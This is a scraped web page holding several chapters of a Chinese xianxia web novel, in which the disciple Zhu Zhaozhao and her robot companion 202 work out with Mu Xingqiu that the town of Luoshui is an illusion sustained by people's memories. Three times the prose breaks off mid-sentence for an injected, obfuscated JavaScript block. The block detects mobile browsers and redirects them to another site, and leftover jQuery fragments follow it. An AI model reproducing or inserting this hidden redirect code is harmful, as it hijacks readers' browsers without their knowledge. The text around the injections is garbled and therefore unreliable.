懒得跟浑身心眼子的人虚与委蛇,本来就心情不好的祝昭昭选择有话直说:“师兄你绕洛水的次数比起我只多不少。” “那么师兄你大有收获了吗?” 慕行秋笑得更加愉悦。 不信他不知道自己是在阴阳,只当他在犯病的祝昭昭在心底暗暗翻了个白眼。 她重新走向客栈:“时候不早了,慕师兄没事的话,还是早些休息的好。” 目不斜视地和慕行秋擦肩而过,祝昭昭下意识瞥了眼柜台。 想来刚才应该是有事离开了,此时的小二不知何时已经回了柜台,这会儿趴在台上,睡得正香。 收回目光,祝昭昭径直走过空旷的大厅踏上楼梯。 与她脚步声一同响起的,还有身后慕行秋不紧不慢的话音:“我夜间外出距今已有四日,每一日,外界的景象都相差无几。” “修士打坐,镇民休息,日日如此。”慕行秋将自己这几日的见闻娓娓道来,“我曾以为这是幻境主人布下的阵法,是以权衡之下,尝试过唤醒一些人。” 祝昭昭表面静静听着,其实心底有些意外。 一是她本以为自己不听慕行秋的嘱咐私自夜晚外出,他不说不高兴,至少也不会主动告诉自己他所知道的情报。 因为这将代表他默认了自己的行动。 二是她没想到慕行秋表面上看起来行事滴水不漏,处处力求稳妥。实际上居然比自己还胆大,竟敢直接尝试唤醒那些修士和镇民。 他就不怕被莫沉云发现? 思忖着,祝昭昭很快听慕行秋再道:“当时我已经准备好隐匿术法。” 原来还是怕的。 硬是将弯起的唇角抿成直线,祝昭昭不打算放过能得到情报的机会:“依照如今我们还能在这里谈话的情形来看,当时你的隐匿术法应该没用上。” “那你唤醒他们了么?” 慕行秋言简意赅:“嗯。” 竟然叫醒了? 得到预料之外的回答,祝昭昭先是一愣,紧接着下意识扭头向身旁—— 正对慕行秋垂眸望着她的双眼。 出于很多众所周知的原因,祝昭昭对慕行秋的态度向来主打一个眼不见为净。哪怕知道作为重要角色的基础设定,他必定容貌不俗。 对他长相的了解却也仅止于容貌不俗。 直到这次乍然在如此近的距离和他对上视线,祝昭昭终于得以仔细端详他。 平心而论,作为一个往来过无数位面的资深维护员,祝昭昭见过长相优秀的人只多不少,所以哪怕见到再好看的人,对她来说也不过是在本就丰富的工作经验里多添一笔。 慕行秋却不一样。 准确来说,是他的那双眼睛不一样。 那是双生得很美的眼睛。 廊上的灯笼光透过长睫落进他眼里,漆黑的瞳孔被点亮,却也让眼底的幽深被祝昭昭一览无遗。而他注视得如此专注,就像…… 就像—— 猛地回过神来,祝昭昭见鬼一样盯住慕行秋。 慕行秋被她盯得莫名其妙:“昭昭师妹,有什么问题么?” 嗯……他刚才肯定是想用眼神造成压迫感,以达到在谈话中占据上风的目的。 绝对! “你说你唤醒了他们,” 很快做好心理建设,祝昭昭并不正面回答他的问题:“……慕师兄所说的‘他们’指的是修士还是镇民?” 察觉到祝昭昭称呼上的转变,慕行秋挑眉。 却依旧很有耐心地回答了她:“修士。” “情况不明时唤醒在屋内休息的镇民风险更大,唤醒在外入定的修士较为合理稳妥。” 祝昭昭对此表示赞同:“之后呢?” “之后我便随意找了些理由同他解释。” 收回视线,慕行秋和祝昭昭并肩而行:“醒来的修士也并未多疑,点头答应我后便重新入定。” 祝昭昭:“然后?” 慕行秋摇头:“没有然后。” “接下来的几日我照旧每夜外出,也夜夜都是同样的场景与情况。” 扭头看向慕行秋,祝昭昭再次确认:“没有变化?” 慕行秋也依旧肯定:“没有变化。” 祝昭昭盯着地面。 他们遇到了同样的情况。 可原因是什么? 如果不是莫沉云的幻境覆盖了洛水。 那究竟还有什么方法能做到这种程度? “或许是结界。” 忽然出现的声音把祝昭昭唤回现实。 慕行秋若有所思:“因为如果是幻境,那么在我唤醒那位修士之时,幻境主人必定会做出反应。” “然而之后几日,洛水一切依旧照常,没有任何变化发生。” 神色在思索中不自觉微沉,慕行秋斟酌语句:“这便只能证明,导致夜晚洛水异象的原因应该不是幻境。” 静静听完慕行秋分析,祝昭昭只是点点头表示赞同。 她并不觉得慕行秋会期待能从自己这里得到什么有价值的分析,自然乐得做个安静捧哏的师妹。 也因此当身旁传来慕行秋那句温和的‘那么昭昭师妹觉得呢?’时,她一下子有些语塞。 不是,你确定要问一个首次出任务的新手的看法吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280563|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这么民主的吗? 不过吐槽归吐槽,感觉到身旁的目光越来越强烈的存在感,祝昭昭还是给了回应:“……也可能是法器的效用?” 她举例子:“师父之前告诉过我,有些高级法器是能够做到创造出一个真假轮转的世界的。” “如此。”闻言颔首,慕行秋提出异议,“然如果想催动法器维持如此大范围的变化,所需消耗的灵力将非常之多。而如此大量的灵力,不可能藏得一丝痕迹也无。” 但同时被祝昭昭的话引起兴趣,“宗主与你说过这些?” “嗯。” 虽然应得很乖巧,但不妨碍祝昭昭觉得这完全是废话:“师父不就是要为弟子授业解惑的吗?” “五长老不曾与慕师兄你说过这些?” 慕行秋承认得很爽快:“是。” 祝昭昭愣了一下。 然后继续问:“课业呢?” “学堂。”慕行秋补充,“自学亦可。” “修炼呢?” “与课业相同。” “雾鸣山的独门绝学?” 这个总不能在学堂学了吧。 “雾鸣山绝学……”慕行秋一字一句地重复了一遍。 半晌后才开口:“师父会将典籍交于我。” 他确实没再提学堂,答案却还不如学堂。 哪怕慕行秋一副习以为常的淡然态度,空气还是沉默下去。 连这种最基本的知识都不提不教,曾书对慕行秋的态度确实称得上一句非常不上心。慕行秋能做到现在这样优秀,完全是靠自己努力出来的。 不过…… 祝昭昭盯着衣摆的暗纹。 慕行秋为什么真的回答了啊? 他们有熟到可以说这些事的程度吗? 心念急转,祝昭昭直觉有哪里不对。 汗流浃背的她选择转移话题:“……我师父还说,不论幻境、结界亦或是法器,只要找到它们的弱点并击破,问题自然会迎刃而解。” 说完就沉默了。 毕竟他们现在连洛水的问题到底在哪都没搞清楚,谈何而来的弱点? 什么废话文学。 祝昭昭本来都做好了慕行秋阴阳自己的准备。 可出乎预料的,他并没有揶揄或嘲笑。 反而很认真地点了点头,再回答她:“宗主说得不错。” 祝昭昭:…… ? 她心想:这位仁兄到底犯的哪门子病? 嘴上却还是较为礼貌:“可是再不错,也不能解决我们现在遇见的谜团。” “要是能知道影响洛水的究竟是什么原因就好了,我们也不必像现在这样,无头苍蝇一般绕着洛水乱转。” 这句是真心话。 闻言轻笑一声,慕行秋道:“但不论如何,今晚总归没有空手而归。” “至少我们知道了洛水这幅异象,不是只针对一人的障眼法。” 针对一人? 障眼法? 脑海中突然闪过什么,祝昭昭愣。 身旁人的脚步,也在此刻停了下来。 回过神,祝昭昭这才发现两人早在你一言我一语间回到了客房。 疲劳感瞬间重回身体,她于是先道别:“不知不觉竟然已经到了。” “那我就不打扰慕师兄休息了。” 说完朝慕行秋微一颔首,祝昭昭走向自己房间。 却就在手将要触上门时,她听见背后传来慕行秋的声音。 “昭昭师妹,知道天玄山么?” 81. 糟了,要露馅?! 抬起的手下意识轻颤,祝昭昭脑袋空白了一瞬。 无比庆幸此刻的自己是背对着慕行秋的,她紧闭双眼—— 再睁开:“天玄山?” 收手,转身,祝昭昭脸上表情已然切换成了疑惑不解:“那是什么地方?” 慕行秋看着她:“那是以卜卦与预言见长,号称离天道最近的宗门。” “这么厉害?”祝昭昭一副吃惊模样,“那他们岂不是掌握着许多秘密?” 慕行秋言简意赅:“是。” 此时恰有风穿廊而过,灯笼被吹得摇摆,笼中烛火也跟着摇晃起来。 橘黄的光芒忽闪,祝昭昭因此看不清慕行秋脸上神情。 却能听见他平静的声音:“天玄山收徒不似其他宗门般要求严格,而昭昭师妹你预知天赋斐然,理当是去天玄山的好苗子。” “善卜善卦的他们,竟没有找到你么?” 空气安静来。 默默在心底一分一秒地计时,直到时间长得像是她终于在脑海中天人交战完般。 祝昭昭才很轻地摇摇头:“我不知道。” “我不知道天玄山为什么没有找上我,但我知道,我原本就一心想成为剑宗弟子。” 她垂眸:“慕师兄你可能有所不知,我家在的村子,曾经被妖兽袭击过。” “那妖兽很凶猛,毁掉了许多房子还杀了很多人。我爹娘为了保护我,拼了命把我藏在地窖里。”祝昭昭很清楚,相比起妖兽直接攻击孩子,父母先抵挡会更合理,“我眼睁睁看着爹娘藏好我后,就主动扑向妖兽……” 她声音低落:“如果不是突然出现的剑修师姐将妖兽一剑击杀,我那时也许就已经死了。” “最后我和爹娘都活了下来,”祝昭昭深吸口气,“从那刻起,我就发誓只要能踏上修行路,我一定就要进剑宗修炼;如果不能,我也要在剑宗打杂。” “只要能留在剑宗,要我做什么都可以。” 剩下的话没再继续,祝昭昭沉默。 很俗套的故事,却将一个从小仰慕剑宗,坚定想留在剑宗的少女形象勾勒得淋漓尽致。 而因为这样的事在修真界不胜枚举,所以真假当然也无从查证。 祝昭昭是这么想的,慕行秋同样是。 他很想从祝昭昭的双眼或神情里,找到关于这番话中虚实的,哪怕一丝一毫蛛丝马迹。 却做不到。 她表现得太自然,自然到看着她低落的神情,他差点就要脱口而出去安慰她。 哪怕他最开始的目的,其实是试探。 试探这个几次语出惊人的,行迹成谜的小师妹。 诚然,她并没有什么坏心思,几次出手都帮了所有人…… 甚至他。 但万一呢? 他已经纵容了她太多次。 可‘纵容’一词,本就不该出现在这里。 他不该纵容她。 哪怕她本意是好的。 这太危险。 无数念头纠缠在一起,让慕行秋下意识有些出神。 他目光不自觉落在对面人微微低垂的头上。 双平髻么。 倒的确适合她。 是自己动手梳的,还是月书帮忙的呢? 几乎是意识自己在想什么的瞬间。慕行秋怔住。 定了定神,他问她最后一个问题—— “那位帮助你的师姐,你之后见到她了么?” 早就等得不耐烦的祝昭昭:“记忆太过久远,又或者师姐她已经不在……” “我没再见过她。” 这就彻底封死了慕行秋后续探查的口子。 慕行秋沉默。 祝昭昭亦安静地,任由他探究的视线落在自己身上。 反正大不了就这样一直耗下去,她多得是打发时间的招数。 她就看看他能盯出什么花来。 不过慕行秋显然没有耗下去的意思。 他很快开口:“我本无意提起昭昭师妹你的伤心事。” “抱歉。” 故意慢吞吞抬头,祝昭昭装作强颜欢笑的模样:“没关系,我知道慕师兄你不是故意的。” “时间不早了。”慕行秋望了眼身后走廊,“师妹你早些休息。” 现在说这句话已经太迟了! 哪怕实际早就等得不耐烦,祝昭昭面上还是乖乖:“慕师兄也早点休息。” 说完朝慕行秋一颔首,她终于转身回了房间。 * 挥手点亮桌上烛火,祝昭昭以最快速度为自己施了个净身诀,再换了身衣服,最后自由落体式倒进早就铺好的床里。 202在上方乱飞,一人一机大眼瞪小眼,谁都没吭声。 直到202终于按捺不住:“主人。” 祝昭昭双手枕在脑后:“嗯。” 有些事,她也在等202问。 也许是看祝昭昭态度不怎么积极,202半天才出声:“我是想说……” 祝昭昭:“说。” 它扭捏了一下。 最后投射光幕:“现在已经四点半了。” 瞳孔瞬间被光幕上巨大的,发着绿光的4:32占满,祝昭昭脸上表情一瞬空白。 ? 报时? 刚才发生那么多事,这家伙围观全程,回来干的第一件事是报时? 终于从巨大的冲击中回神,祝昭昭的回答,是直接从床/上弹起身,一巴掌把202拍进床铺。 再把它薅起来揉圆搓扁:“你脑子进水了?” “整晚事情一件接一件,对你来说最有意义,最该先提起来的是报时?” “你是维护系统还是闹钟?” 被蹂/躏得眼冒金星的202直呼冤枉:“主人你出发前特意问几点,我以为是有什么深意,现在才特意跟你说的呀。” “我不是故意……诶诶诶,主人你别转了我真的错了。” 闻言没好气地停下动作,祝昭昭伸出手指戳它:“我再给你最后一次机会,说!” “你到底最想问什么问题?!” 202以最快的速度大声:“大反派刚才问的问题到底什么意思?” “他是不是察觉出什么问题来了?!” 祝昭昭一秒收手:“不太可能。” 软下身重新倒躺回床,她摸摸下巴:“与其说他是发现了什么,出于担心和试探才问我,倒不如说他是临时起意,突然问出来的。” “毕竟以他的性格,如果真察觉到什么问题想确认,早就不动声色找证据去了。不会选择突然问问题这种容易打草惊蛇的方式。” “那大反派到底为什么要问啊?”202的眼神清澈而愚蠢,“他不是话多的人吧?” 盯着床顶纱帐,祝昭昭尝试找理由:“也许是因为昨天我说他的那些话?” “之前我就对别人用过同样的招数,”她打了个响指,“今天突然用到他身上,应该是让他注意到了。” ‘哦’了一声表示明白,202继续问:“可是主人你不是说过有预知天赋的人,不一定都去天玄山吗?” “对啊。”祝昭昭点头,“但不代表慕行秋不能这么问。” 想了想,她补充:“而且慕行秋只是问天玄山为什么不来找我,没问我为什么来剑宗。” “这两个问题不矛盾。” 似懂非懂地点点头,202选择不在纠结这个问题:“那大反派这样,会对我们有什么影响吗?” 它很发愁:“要是他真的对主人你起警惕心了,我们接下来的任务还怎么做啊?” 比起202的担心,祝昭昭倒是随意得多:“关于这点你倒是不用操心。” “因为他看起来没想针对这个问题进一步行动。” 202半信半疑:“主人你的理由是?” 祝昭昭没说话。 只是指了指自己的眼睛。 202:…… 啊,行吧。 忘记主人有她自己的超级外挂了。 自顾自地原地转了一圈,202叹气:“费劲巴拉晚上溜出去一趟,结果什么都没发现就算了,还差点被大反派盯上。” “这叫什么事啊。” 闻言斜了眼202,祝昭昭翻个了身:“嗯……” “好事?” “好事?!” 顿时一副‘主人你是不是吃错药了’的表情看着祝昭昭,202震惊:“主人你被大反派吓的都开始胡言乱语了??” 祝昭昭顿时作势要打。 “本来就是嘛。”202连忙打滚躲闪,“大反派刚刚才差点让我们翻车,主人你现在居然感谢他。” “有什么好感谢的嘛!” 气得两眼翻白,祝昭昭手一横,直接扣住滚到手边的202:“首先,我没有感谢他。其次,我之所以说今晚遇见他是好事,是因为他的话提醒了我。” “提醒?” 202在祝昭昭手底下挣扎:“提醒什么?” “我问你。” 直接两手把202捧起来和它对上眼,祝昭昭淡声:“在没有科技手段的前提下,怎么做到让环境凭空变化。” 屏幕上显示出一个大大的‘?’,202问:“环境凭空变化是指?” “洛水镇入口方位那次,” 祝昭昭例举:“还有最开始探路那次,尤其是洛水镇入口方位的问题——” “按剑宗提供的地图,洛水镇的入口本该在正东方位。然而我们到达时,洛水的入口牌坊却在西南。”祝昭昭皱起眉头,“慕行秋他们看到的入口,甚至在正北。” “入口牌坊只有一个,我们和慕行秋却看出两个方位。” 祝昭昭垂眸:“这显然不合常理。” “但是为什么?” “嗯……”顺着祝昭昭的话思考,202半试探半猜测:“也许就像主人你和大反派刚才讨论的那样,幻境、法器、结界三选一?” 当即‘啧’了一声,祝昭昭弹了202一个脑瓜崩:“你刚才既然已经听到我和他讨论,那后面这三个可能都推不下去,你没听到?” “听到了也可以问呀!”202理直气壮,“因为我也不知道除了这三个理由外还有什么理由嘛。” 祝昭昭都听笑了:“什么都不知道还嚷嚷这么大声,你哪来的脸?” 充分发挥死猪不怕开水烫的二皮脸精神,202震声反驳:“我没脸啊,我只是个系统我哪来的脸。” 然后开始在床上滚来滚去:“哎呀主人你就别卖关子了快说吧,你到底被大反派哪句话提醒了什么呀!” 启动电击键的指令在脑海里蠢蠢欲动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280564|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,祝昭昭满脸无语地盯着202撒泼。 最后叹了口气:“慕行秋说‘异象不是只针对一人的障眼法’。” 202滚到祝昭昭手边:“怎样?” 忍无可忍的祝昭昭一拳正中它头顶:“他的论证是我和他看到了相同的夜景。” “但事实上,”祝昭昭若有所思,“我和他看到的东西还真不一样。” 从祝昭昭手底下滚出来的202:“哪里不一样?” “还记得那个店小二么?” 祝昭昭把它滚回来:“根据慕行秋的说法,店小二是一直睡在柜台后的。但我们出来的时候,你看到店小二了吗?” 202略微思索:“没有。” 但它很快想到什么:“有可能是店小二那会儿有什么事离开了?” 拍拍202两下,祝昭昭反问:“我们从摸出房间到离开客栈,至少十五分钟,大晚上的有什么事要忙那么久?” 故意留时间给202反驳它却不吭声,祝昭昭轻笑。 然后继续:“也就是说,他独自一人时看柜台时,小二是在的,但我们看的时候,小二却不在。” “之后我和他一起回客栈时,小二出现了。” 祝昭昭扯了扯被子:“也就是说,我们两个在一起后,场景在按照他的记忆变化。” 202很不服气:“为什么是按照他的记忆来变化的?” “先把这个为什么放一边。” 祝昭昭憋笑:“我们最该关注的重点是,这个现象和牌坊方位,以及农具消失的情况是相同的。洛水镇的景象并不固定,相反,它一直在随时变化。” “而根据它会按照慕行秋记忆来变化这点看……” 祝昭昭沉吟许久,像是在想怎么说才更合理。 无他,主要因为这个结论确实比较匪夷所思。 直到激烈的思想斗争结束,她终于斟酌着开口:“洛水镇的景象,有可能是根据所有人的记忆来变化的。” 这话确实离谱。 离谱到202当场笑起来:“主人你在说什么啊。” “如果真像你说的那样,那洛水镇里人那么多,要按谁的记忆来变?” “按相同记忆占比大的人来。” 祝昭昭显然也考虑到了这个问题:“如果没猜错,镇民会纠正新来的,或是与他们记忆不同的人。纠正到这些有异议的人,直到他们承认大多数人的记忆为止。” “就像最开始探路时,我们遇到的那个镇民一样。” 很快也想起了那时候的事,但202还是不太信:“那刚才主人你和大反派在一起的时候又是怎么回事?” “那时候只有你们两个人了吧?”它嚷嚷,“那为什么场景不按照你,而是按照他的记忆去变化?” 这个问题,祝昭昭同样考虑到了:“人少,或者一对一的时候,应该是看谁的记忆清晰度高。” “因为记忆不清晰的人会被记忆清晰的人说服。” 202像是听见什么天方夜谭:“主人你的意思是,你的记性没有大反派好??” “我的意思是,”祝昭昭用看傻子一样的眼神看202,“相对已经夜间出行四天的慕行秋而言,我对客栈的环境布置并不特别熟悉。” 202恍然大悟:“我明白了。那时候主人你的心思没放在观察周围环境上。” 祝昭昭:“……” 好想电它,真的。 懒得搭理202,她选择换一个话题:“如果我的推论是对的,那么洛水镇景象变化的逻辑就是——人多的时候按大多数人的记忆来,人少的时候按记性好的人记忆来。” “而在洛水镇所有人的通力配合下,” 祝昭昭面色微沉:“这个天衣无缝的,完美运行的障眼法闭环就此诞生。” “可主人,我还是不明白。” 斜了眼边上的202,祝昭昭很有耐心:“不明白什么。” 飞到祝昭昭的脸上方和她面对面,202显示出不解的表情:“洛水镇的景象变化怎么维持?” “不是幻境不是结界,也不靠法器。那最底层的景象布置是怎么构建出来的?” “用投影技术?” 祝昭昭都听笑了:“你怎么不说用实景VR。” 抬手轻触202的显示屏,祝昭昭在跳出的菜单界面操作:“最基础的景象构建就是幻境。” “莫沉云编织幻境,” 她慢悠悠地在菜单界面划:“再依靠灵果和他的种种神迹,让镇民与修士狂热沉迷。最后,就按我先前说的那样,依靠他们的记忆维持幻境。” “而只要能打破它,我们一直找不到的魔族通道,必定会有新的进展。” 202‘哦’了声:“那我们要怎么做,才能跳出这个幻境,见到真实的洛水?” “记忆越清晰,眼前的景象就会越完美得无懈可击……” 终于在界面上找到什么,祝昭昭点进去:“我确实有个想法可以一试。” 202很高兴:“那太棒了不过主人。” 祝昭昭心情也很不错:“嗯?” 扬声器里传出经典的喜庆背景音,202语气复杂:“你能不能不要用我来联网斗地主?” “不可以。” 微笑着拒绝了202,祝昭昭哼着小曲叫了三分。 82. “慕师兄,我劝你换个位置站。” 彻底睡下的时候已经是寅时末,为了防止有人来叫自己起床,祝昭昭特意在睡前做了两件事—— 醒来时窗外天色早已暗下。睡饱的祝昭昭痛快伸了个懒腰后,先是挥手撤下布置在床边的隔音结界。 再趿拉着鞋,走到门边。 门上挂着的凝声铃,是专门用来留声应答的法器。祝昭昭将之取下后,打着呵欠点开—— 最先跳出来的,是她‘在休息,有事请留言’的录音。录音结束后,里面很快传来白月书的留言。 第一段留言在卯时初—— “昭昭,你醒了吗?如今已是卯时,修行之人理当早睡早起。” 第二段留言在已时末—— “昭昭,你醒了吗?稚雪和云师妹说她们想去看看灵果树的模样。你要不要与我们一起去?” 去看灵果树? 祝昭昭怔。 第三段留言在午时末—— “昭昭,我和稚雪还有云师妹从灵果树那回来了。那树很普通,但因为许多灵果缀在树上,所以乍一看还是很漂亮。云师妹说想摘一颗看看,我没有答应。” 如果说看灵果树,勉强可以算是调查的一部分,那么说要摘一颗,又该用什么理由去解释呢? 祝昭昭脸色开始变得不好看。 最后一段留言还新鲜,在三十分钟前—— 依旧是白月书在问她醒了吗,祝昭昭听完就准备收起凝声铃。然而她刚攥住凝声铃,里面就忽然传来不太清晰的说话声。 听起来像是白月书站在了离凝声铃稍微远些的地方,在和什么人说话—— “昭昭睡了一天了,不会是出了什么事吧?” 白月书说完,一道熟悉的男声很快接话。 是秦之衡:“若是昭昭真出什么事,大师兄定然第一时间便会察觉。可你在她门前兜兜转转三四回,可曾见大师兄出来说过什么?” 也许是觉得这话听起来有些冷漠,他顿了顿后补充:“昭昭不会有事的,你不必担心。” “可是……” 白月书还是有些犹豫:“寻常少年往往精力充沛,昭昭也不是身弱嗜睡的体质。如今她突然整日都在屋中沉睡,的确太过反常。” “我实在担心她。” 听着凝声铃里白月书真心实意的担忧,祝昭昭心中仿佛有暖流淌过。 虽然一直都清楚白月书对自己很好,可直到今天,在她不在场的情况下,白月书依旧字字句句都在关心自己。 祝昭昭说不感动是假的。 怀着因欣喜而柔软下来的心情,她再次准备收起凝声铃。然后很快,就又听到里面传出白月书的声音—— “莫不是得了脑疾?” 祝昭昭:…… ? 得了脑疾? 谁? 大脑因此宕机的时候,凝声铃里传来秦之衡惊慌失措的声音:“月书你在说什么,昭昭怎么会得脑疾?” “你实在太过多虑。” 等等。 所以是说她得了脑疾?? 祝昭昭欲言又止。 但是还好,还好有秦之衡帮她说话。 还得是位面男主角,她的好师兄。 祝昭昭放下心。 下一秒—— “但若是昭昭真的得了脑疾,”秦之衡的语气忽然变得凝重而认真,“或许正好可以请宗主同意我们把她接来雾鸣山照顾?” 祝昭昭:…… 悬着的心终于彻底死了。 不是,谁来管管这对胡乱找人养的男女主啊! 终于再也听不下去的时候,凝声铃里的留言也彻底结束。一把将凝声铃丢进空间袋,祝昭昭长叹一声推开门—— 她起得晚,这会儿已经是子时。空无一人的走廊里,只剩沿途挂着的灯笼静静发着光。 淡黄光芒铺满木质的地面,也清晰映出祝昭昭孤单的影子。 目光从不远处一个房门前收回,她在脑海中开口:“202,调出昨晚我和慕行秋回客栈时的视频记录,然后把视频暂停在五号房的门口。” 202依言照做。 等待的途中双手环胸斜倚门边,祝昭昭的视线再度无意识落在五号房门上。 大约三分钟后,202高兴的声音响起:“主人,我找到啦。” 它话音落下的瞬间,祝昭昭眼前闪过一道光。 很快,一张视频图像出现在她脑海。 盯着图像片刻,祝昭昭突然出声:“202,把房门位置放大五倍。” 随着原本尺寸正常的图片渐渐向房门方向变大,门上具体的细节也一点点变得清晰。 雕花的木门光滑无比,看不见一丝一毫的多余痕迹。 眼中闪过抹了然,祝昭昭唇角微弯。 果然。 202很快也注意到什么:“不对呀主人。” 直接现场照了一张五号房的照片放大数倍和视频图像作对比,它语气满是不解:“五号房门口明明有三道刻痕呀,怎么视频图像里那么光滑??” 并不回答202,示意它收起所有图像,祝昭昭缓步走到五号房门前。 抬手轻抚过那三道陈旧的刻痕,她淡声:“所以我不是说过了么,这就是他和我记忆的区别。” “可是……”202刚想说些什么,下一秒,祝昭昭闭上眼睛。 再然后。 202眼睁睁看着那三道刻痕消失。 睁开眼就对上202瞪大的眼睛,祝昭昭吓一跳:“202,你脑袋进水吗?” “主人。”202无视她的恐吓,结结巴巴,“那个,那个那个……” 祝昭昭面无表情:“你是想说刻痕怎么不见了。” 202连环点头。 “我不是说过了么。”祝昭昭轻抚原本刻痕存在的位置,“刻痕出现与否,取决于我和慕行秋记忆的差别。” “那么我将记忆的差别消除。” 她指尖轻叩:“区别自然就会被抹平。” 愣愣看着祝昭昭指尖的方向,202喃喃重复她的话:“将记忆的差别消除……” 忽然明白了什么,它猛地看向祝昭昭:“所以主人你的意思是——” 祝昭昭微笑起来,再次闭上眼。 只是这次,等待的时间变得有些长。 耳边传来202诶诶啊啊的惊叫,祝昭昭睁开眼。 “怎么样。”她问。 202已经语无伦次:“怎么……什么……这,那……” 这这那那半天,它最后终于憋出句完整的话:“主人,这到底是怎么回事啊?!” “怎么回事?” 似笑非笑地重复了一遍202的话,祝昭昭答:“我会告诉你究竟是怎么回事。但在那之前……” 话落,她扭头:“慕师兄,你又出来了。” 是的,慕行秋不知何时已经站在了房门口。 朝祝昭昭弯弯眉眼,他好脾气地道:“这句话该是我问你。” “你怎么又跑出来了。” 祝昭昭面不改色:“昨天睡太晚,今天睡太长。我刚醒,起来放放风。” 慕行秋轻笑。 盯着站在房门口的他片刻,祝昭昭忽然抬起手。 她指指慕行秋脚下:“慕师兄,我建议你换个地方站,别站那里比较好。” 闻言循着祝昭昭手指的方向低头,慕行秋没动:“这地方有什么问题么。” 问题可大了。 祝昭昭语调很平静:“那里比较……” “不雅观。” 看了眼脚边的两块碎木屑,慕行秋但笑不语。 祝昭昭沉默。 一会儿别怪她没提醒过就行,她反正已经仁至义尽。 祝昭昭移开视线。 虽然不明白祝昭昭略反常态的言行是为什么,但慕行秋本来的目的也不是纠结这个:“昨夜你外出探查并未发现什么问题,今夜为何还要出来?” “是昨夜独行的时候,遇见了什么有趣的事么?” 有趣的事? 是拐着弯在试探她昨晚是不是被什么蛊惑了,所以这会儿才又跑出来吧。 能理解慕行秋作为领队需要对所有人的安危负责,祝昭昭心里倒没什么不被信任的怒意。 她转身,与慕行秋面对面:“没有发现问题,不代表问题不存在。” “慕师兄觉得呢。” 慕行秋并不答话,只是静静望着她。 坦然接受他的目光,祝昭昭继续道:“我们昨夜之所以一无所获,是因为洛水镇上下井然有序,所有人都在做符合自己身份的,同样的事,让我们看不出任何问题。” “可这本就是种不正常。” 她淡声:“一个镇子,修士入定,镇民休息,每一夜都只有这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280565|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两件事,这是不可想象的。慕师兄你一定也很清楚,才会几次三番夜探洛水。” “不是么?” 慕行秋像是听到什么有意思的事:“那么祝师妹你的意思是,多出去夜探几次,就能找到问题所在。” 出乎他预料地,祝昭昭摇头:“不是。” 慕行秋挑眉。 接着就听她再开口:“找不到症结,多少次夜探都不会改变结果。” 慕行秋:“那么……” “但要是我说,”祝昭昭指尖搭上身旁木门,“我有办法找到症结所在呢?” 顷刻间,空气落针可闻。 清晰地看见对面人眼底的探究,祝昭昭静静等待他的回答。 她知道,自己不会等太久。 “所以你的方法是。” 师妹都不叫了? 暗忖着,祝昭昭答:“慕师兄夜晚外出次数比我多,自然应该比我更清楚。” “如今的洛水镇上,覆盖着类似幻境的假象。” 慕行秋没什么反应:“所以。” “所以有时候,” 祝昭昭看向身旁的雕花木门:“看不清真相,是因为太过囿于假象。” “而一味将虚假的所有认定为真实,真实的一切自然永远无法出现在我们眼前。” 望着周围的景象,慕行秋似乎明白了什么。 “闭上眼。” 恰逢此时,祝昭昭的声音出现在他耳边。 片刻犹豫后,他选择听从。 于是祝昭昭的声音再度响起。 “将你脑海里,关于洛水镇的一切抹除掉。” “客栈、小镇、灵果、神灵……所有东西都不存在,这个世界只有你。这个世界——” “本自虚无。” 耳边的声音轻而飘渺,慕行秋突然有种很奇怪的感觉。 像是有什么东西风似的一阵掠过,又像是什么东西凭空被抹除,再找不到踪影。 脑中一片空白,他鬼使神差地睁开双眼。 满目疮痍就此撞入他视线中。 残破、灰暗,偌大的客栈此刻甚至比那些荒废已久的旧庙更令人不忍直视。 朱红的灯笼褪色发白,一颗颗在黑暗中无比乍眼;深棕的漆水早已被腐蚀得所剩无几,门窗亦被虫蛀得坑坑洼洼;糊在门窗上的油纸泛黄且发脆,透过纸面或大或小的洞,足以将各个房中的布置摆设看得一清二楚。 此时恰好有风顺着走廊穿行,虫蛀出的木屑被吹得四散飞扬,仿佛在空中下起小雪;木材潮烂的气息与尘土缭绕的味道弥漫在空气里,沉闷得令人只觉窒息。 这是陈旧腐朽的,毫无生机的味道。 这是早该废弃的,陈旧荒芜的世界。 慕行秋神色微冷。 可就在这样的世界里,却存在着一抹不合时宜的鲜亮色彩。 那是一袭湖绿色的衣裙。 刚好盖住脚面的裙摆,走动起来时会层层荡开,如碧波漾起涟漪。涟漪点亮这个停滞的世界,又像只是误入这里,下一秒就会消失。 不自觉地,从一片狼藉中收回的目光已经落在那抹色彩处太久。望着那正在好奇打量四周的身影,慕行秋有些出神。 所以她喜欢绿色吗。 